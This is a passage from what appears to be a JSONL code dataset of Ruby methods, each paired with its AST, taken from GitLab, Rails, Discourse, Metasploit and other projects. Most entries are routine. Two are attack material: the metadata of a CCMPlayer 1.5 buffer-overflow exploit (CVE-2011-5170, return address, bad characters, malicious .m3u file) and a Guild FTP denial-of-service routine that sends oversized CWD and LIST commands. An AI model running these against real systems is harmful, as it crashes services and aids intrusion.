\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Rh0\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2011-5170\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"77453\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"EDB\"]},{\"type\":\"str\",\"children\":[\"18178\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"EXITFUNC\"]},{\"type\":\"str\",\"children\":[\"process\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisablePayloadHandler\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Space\"]},{\"type\":\"int\",\"children\":[4096]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BadChars\"]},{\"type\":\"str\",\"children\":[\"\\u0000\\r\\n\\u001a,.:\\\\\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisableNops\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"StackAdjustment\"]},{\"type\":\"int\",\"children\":[-3500]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CCMPlayer 1.5\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[4209831]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Offset\"]},{\"type\":\"int\",\"children\":[4096]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2011-11-30\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"FILENAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The file name.\"]},{\"type\":\"str\",\"children\":[\"msf.m3u\"]}]}]}]}]}]}]}","id":"e29eefdf-7ea6-4d31-adbb-7384778cefbb"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20240709074657_add_cached_markdown_to_ml_model.rb","start_line":8,"raw_source":"def up\n    change_table :ml_models do |t|\n      t.integer :cached_markdown_version, null: true\n      t.text :description_html, null: true\n    end\n\n    add_text_limit :ml_models, :description_html, 50_000\n  end","complexity_score":5.7,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"change_table\",{\"type\":\"sym\",\"children\":[\"ml_models\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"cached_markdown_version\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"text\",{\"type\":\"sym\",\"children\":[\"description_html\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_text_limit\",{\"type\":\"sym\",\"children\":[\"ml_models\"]},{\"type\":\"sym\",\"children\":[\"description_html\"]},{\"type\":\"int\",\"children\":[50000]}]}]}]}","id":"44b10d5f-b32f-4913-9c6a-74593f2cae97"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/validators/timezone_validator.rb","start_line":14,"raw_source":"def validate_each(record, attribute, value)\n    return if value.blank? || TimezoneValidator.valid?(value)\n    record.errors.add(attribute, :timezone, message: TimezoneValidator.error_message(value))\n  end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_each\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"record\"]},{\"type\":\"arg\",\"children\":[\"attribute\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TimezoneValidator\"]},\"valid?\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"errors\"]},\"add\",{\"type\":\"lvar\",\"children\":[\"attribute\"]},{\"type\":\"sym\",\"children\":[\"timezone\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TimezoneValidator\"]},\"error_message\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}]}]}]}","id":"e95d1f30-4bf5-493f-bbb2-3814240982fc"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/scoping/named_scoping_test.rb","start_line":489,"raw_source":"def test_nested_scoping\n    expected = Reply.approved\n    assert_equal expected.to_a, Topic.rejected.nested_scoping(expected)\n  end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_nested_scoping\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Reply\"]},\"approved\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]},\"to_a\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"rejected\"]},\"nested_scoping\",{\"type\":\"lvar\",\"children\":[\"expected\"]}]}]}]}]}","id":"ad0093b3-5087-4895-be84-46dc32f1e936"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/import_export/members_mapper.rb","start_line":108,"raw_source":"def get_email(member_data)\n        return unless member_data['user']\n\n        member_data.dig('user', 'public_email') || member_data.dig('user', 'email')\n      end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"get_email\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"member_data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"member_data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"user\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"member_data\"]},\"dig\",{\"type\":\"str\",\"children\":[\"user\"]},{\"type\":\"str\",\"children\":[\"public_email\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"member_data\"]},\"dig\",{\"type\":\"str\",\"children\":[\"user\"]},{\"type\":\"str\",\"children\":[\"email\"]}]}]}]}]}","id":"fa9b7897-1f4d-40d8-924e-553686740f03"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/types/access_level_type.rb","start_line":21,"raw_source":"def human_access\n      ::Gitlab::Access.human_access_with_none(object)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"human_access\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Access\"]},\"human_access_with_none\",{\"type\":\"send\",\"children\":[null,\"object\"]}]}]}","id":"a19d57b1-72a7-4246-87d9-1c22b7776386"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/clusters/concerns/provider_status.rb","start_line":42,"raw_source":"def on_creation?\n          scheduled? || creating?\n        end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"on_creation?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"scheduled?\"]},{\"type\":\"send\",\"children\":[null,\"creating?\"]}]}]}","id":"d5dd8fe0-aec8-4922-81c8-c64f73b13fe8"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/action_pack_assertions_test.rb","start_line":357,"raw_source":"def test_missing_response_code\n    process :response404\n    assert_predicate @response, :not_found?\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_missing_response_code\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"process\",{\"type\":\"sym\",\"children\":[\"response404\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"ivar\",\"children\":[\"@response\"]},{\"type\":\"sym\",\"children\":[\"not_found?\"]}]}]}]}","id":"3b727ff8-2513-4cb1-9592-895c7cc657c4"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/concerns/cycle_analytics_params.rb","start_line":63,"raw_source":"def all_cycle_analytics_params\n    permitted_cycle_analytics_params.merge(current_user: current_user, namespace: namespace)\n  end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"all_cycle_analytics_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"permitted_cycle_analytics_params\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current_user\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"namespace\"]},{\"type\":\"send\",\"children\":[null,\"namespace\"]}]}]}]}]}","id":"f4b8af06-4f4b-4816-b2ff-2426bfbb6f1b"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/lint/mixed_case_range.rb","start_line":55,"raw_source":"def each_unsafe_regexp_range(node)\n          node.parsed_tree&.each_expression do |expr|\n            next if skip_expression?(expr)\n\n            range_pairs(expr).reject do |range_start, range_end|\n              next if skip_range?(range_start, range_end)\n\n              next unless unsafe_range?(range_start.text, range_end.text)\n\n              yield(build_source_range(range_start, range_end))\n            end\n          end\n        end","complexity_score":21.1,"ast_json":"{\"type\":\"def\",\"children\":[\"each_unsafe_regexp_range\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"parsed_tree\"]},\"each_expression\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"expr\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"skip_expression?\",{\"type\":\"lvar\",\"children\":[\"expr\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"range_pairs\",{\"type\":\"lvar\",\"children\":[\"expr\"]}]},\"reject\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"range_start\"]},{\"type\":\"arg\",\"children\":[\"range_end\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"skip_range?\",{\"type\":\"lvar\",\"children\":[\"range_start\"]},{\"type\":\"lvar\",\"children\":[\"range_end\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"unsafe_range?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"range_start\"]},\"text\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"range_end\"]},\"text\"]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"yield\",\"children\":[{\"type\":\"send\",\"children\":[null,\"build_source_range\",{\"type\":\"lvar\",\"children\":[\"range_start\"]},{\"type\":\"lvar\",\"children\":[\"range_end\"]}]}]}]}]}]}]}]}","id":"814a3956-49fc-430d-b6ce-dbd9f6885aae"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/controllers/notifications_controller.rb","start_line":144,"raw_source":"def destroy\n    @notification.destroy!\n    render json: success_json\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"destroy\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@notification\"]},\"destroy!\"]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"send\",\"children\":[null,\"success_json\"]}]}]}]}]}]}","id":"fb1adcf4-9941-4dfc-ba6b-4d6442077665"}
{"repo_name":"liquid","file_path":"./repos/liquid/lib/liquid/condition.rb","start_line":51,"raw_source":"def self.parse_expression(parse_context, markup, safe: false)\n      @@method_literals[markup] || parse_context.parse_expression(markup, safe: safe)\n    end","complexity_score":3.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"parse_expression\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"parse_context\"]},{\"type\":\"arg\",\"children\":[\"markup\"]},{\"type\":\"kwoptarg\",\"children\":[\"safe\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"cvar\",\"children\":[\"@@method_literals\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"markup\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parse_context\"]},\"parse_expression\",{\"type\":\"lvar\",\"children\":[\"markup\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"safe\"]},{\"type\":\"lvar\",\"children\":[\"safe\"]}]}]}]}]}]}","id":"79b52d23-fe02-4887-9eee-5644e3c4d3f9"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/user_option.rb","start_line":49,"raw_source":"def self.like_notification_frequency_type\n    @like_notification_frequency_type ||=\n      Enum.new(always: 0, first_time_and_daily: 1, first_time: 2, never: 3)\n  end","complexity_score":2.9,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"like_notification_frequency_type\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@like_notification_frequency_type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Enum\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"always\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"first_time_and_daily\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"first_time\"]},{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"never\"]},{\"type\":\"int\",\"children\":[3]}]}]}]}]}]}","id":"b7c8c72d-cc61-4fd9-a671-92c121333f42"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/lint/mixed_case_range.rb","start_line":85,"raw_source":"def unsafe_range?(range_start, range_end)\n          return false if range_start.length != 1 || range_end.length != 1\n\n          range_for(range_start) != range_for(range_end)\n        end","complexity_score":10.85,"ast_json":"{\"type\":\"def\",\"children\":[\"unsafe_range?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"range_start\"]},{\"type\":\"arg\",\"children\":[\"range_end\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"range_start\"]},\"length\"]},\"!=\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"range_end\"]},\"length\"]},\"!=\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"range_for\",{\"type\":\"lvar\",\"children\":[\"range_start\"]}]},\"!=\",{\"type\":\"send\",\"children\":[null,\"range_for\",{\"type\":\"lvar\",\"children\":[\"range_end\"]}]}]}]}]}","id":"60f6446d-02a1-468e-a4df-6e9ff30fc63b"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/pages/user_preferences_interface.rb","start_line":11,"raw_source":"def has_bookmark_after_notification_mode?(value)\n        page.has_css?(\n          \"#bookmark-after-notification-mode .select-kit-header[data-value=\\\"#{value}\\\"]\",\n        )\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"has_bookmark_after_notification_mode?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"has_css?\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"#bookmark-after-notification-mode .select-kit-header[data-value=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"str\",\"children\":[\"\\\"]\"]}]}]}]}","id":"c4f3c925-6998-4790-91c2-eff1e4496082"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/gitlab_integration/lib/open_project/gitlab_integration/services/upsert_merge_request.rb","start_line":45,"raw_source":"def find_or_initialize(payload)\n          GitlabMergeRequest.find_by_gitlab_identifiers(id: payload.object_attributes.iid,\n                                                        url: payload.object_attributes.url,\n                                                        initialize: true)\n        end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"find_or_initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"payload\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GitlabMergeRequest\"]},\"find_by_gitlab_identifiers\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"object_attributes\"]},\"iid\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"url\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"object_attributes\"]},\"url\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"initialize\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}","id":"ba52b72e-8f95-4174-a59f-7dfc4ccad78b"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/trends/preview_card_batch.rb","start_line":32,"raw_source":"def approve!\n    preview_cards.each { |preview_card| authorize(preview_card, :review?) }\n    preview_cards.update_all(trendable: true)\n  end","complexity_score":6.5,"ast_json":"{\"type\":\"def\",\"children\":[\"approve!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"preview_cards\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"preview_card\"]}]},{\"type\":\"send\",\"children\":[null,\"authorize\",{\"type\":\"lvar\",\"children\":[\"preview_card\"]},{\"type\":\"sym\",\"children\":[\"review?\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"preview_cards\"]},\"update_all\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"trendable\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"5f18e121-ee62-491c-b921-3bba7cd59705"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/tftp/server.rb","start_line":94,"raw_source":"def set_tftproot(rootdir)\n    @tftproot = rootdir if ::File.directory?(rootdir)\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"set_tftproot\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"rootdir\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"directory?\",{\"type\":\"lvar\",\"children\":[\"rootdir\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@tftproot\",{\"type\":\"lvar\",\"children\":[\"rootdir\"]}]},null]}]}","id":"3f609ce2-ed0c-4245-a9af-e53ac7871220"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/service_account.rb","start_line":52,"raw_source":"def time_zone\n    ActiveSupport::TimeZone[Setting.user_default_timezone.presence || \"Etc/UTC\"]\n  end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"time_zone\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"TimeZone\"]},\"[]\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Setting\"]},\"user_default_timezone\"]},\"presence\"]},{\"type\":\"str\",\"children\":[\"Etc/UTC\"]}]}]}]}","id":"d781e37a-ba7a-409b-8586-d78771dff0b7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/alert_management/alerts/update_service.rb","start_line":45,"raw_source":"def todo_service\n        strong_memoize(:todo_service) do\n          TodoService.new\n        end\n      end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"todo_service\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strong_memoize\",{\"type\":\"sym\",\"children\":[\"todo_service\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TodoService\"]},\"new\"]}]}]}","id":"b29917e2-ff31-4677-a448-5e831a6e8036"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/insert_all.rb","start_line":201,"raw_source":"def unique_by_columns\n        Array(unique_by&.columns)\n      end","complexity_score":3.7,"ast_json":"{\"type\":\"def\",\"children\":[\"unique_by_columns\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"Array\",{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"unique_by\"]},\"columns\"]}]}]}","id":"ca4e5ea8-8258-4eff-812a-3e40432fea8e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/dos/windows/ftp/guildftp_cwdlist.rb","start_line":43,"raw_source":"def run\n    return unless connect_login\n\n    print_status('Sending commands...')\n\n    # We want to try to wait for responses to these\n    send_cmd(['CWD', '/.' * 124])\n    send_cmd(['LIST', 'X' * 100])\n\n    disconnect\n  end","complexity_score":9.1,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connect_login\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Sending commands...\"]}]},{\"type\":\"send\",\"children\":[null,\"send_cmd\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CWD\"]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"/.\"]},\"*\",{\"type\":\"int\",\"children\":[124]}]}]}]},{\"type\":\"send\",\"children\":[null,\"send_cmd\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"LIST\"]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"X\"]},\"*\",{\"type\":\"int\",\"children\":[100]}]}]}]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]}]}]}","id":"578c0446-fc75-49a5-bbb1-f44ea83579c6"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-calendar/vendor/holidays/lib/holidays/date_calculator/weekend_modifier.rb","start_line":44,"raw_source":"def to_weekday_if_boxing_weekend_from_year_or_to_tuesday_if_monday(year)\n        to_weekday_if_boxing_weekend(Date.civil(year, 12, 26))\n      end","complexity_score":2.9,"ast_json":"{\"type\":\"def\",\"children\":[\"to_weekday_if_boxing_weekend_from_year_or_to_tuesday_if_monday\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"year\"]}]},{\"type\":\"send\",\"children\":[null,\"to_weekday_if_boxing_weekend\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"civil\",{\"type\":\"lvar\",\"children\":[\"year\"]},{\"type\":\"int\",\"children\":[12]},{\"type\":\"int\",\"children\":[26]}]}]}]}","id":"79a72608-0a94-46cd-a516-6299c3eaf3de"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20250711121541_add_replica_indexed_at.rb","start_line":6,"raw_source":"def change\n    add_column :p_knowledge_graph_replicas, :indexed_at, :datetime_with_timezone\n    add_column :p_knowledge_graph_replicas, :schema_version, :smallint, null: false, default: 0\n\n    # rubocop:disable Migration/AddIndex -- replica table is empty\n    add_index :p_knowledge_graph_replicas, :schema_version\n    # rubocop:enable Migration/AddIndex\n  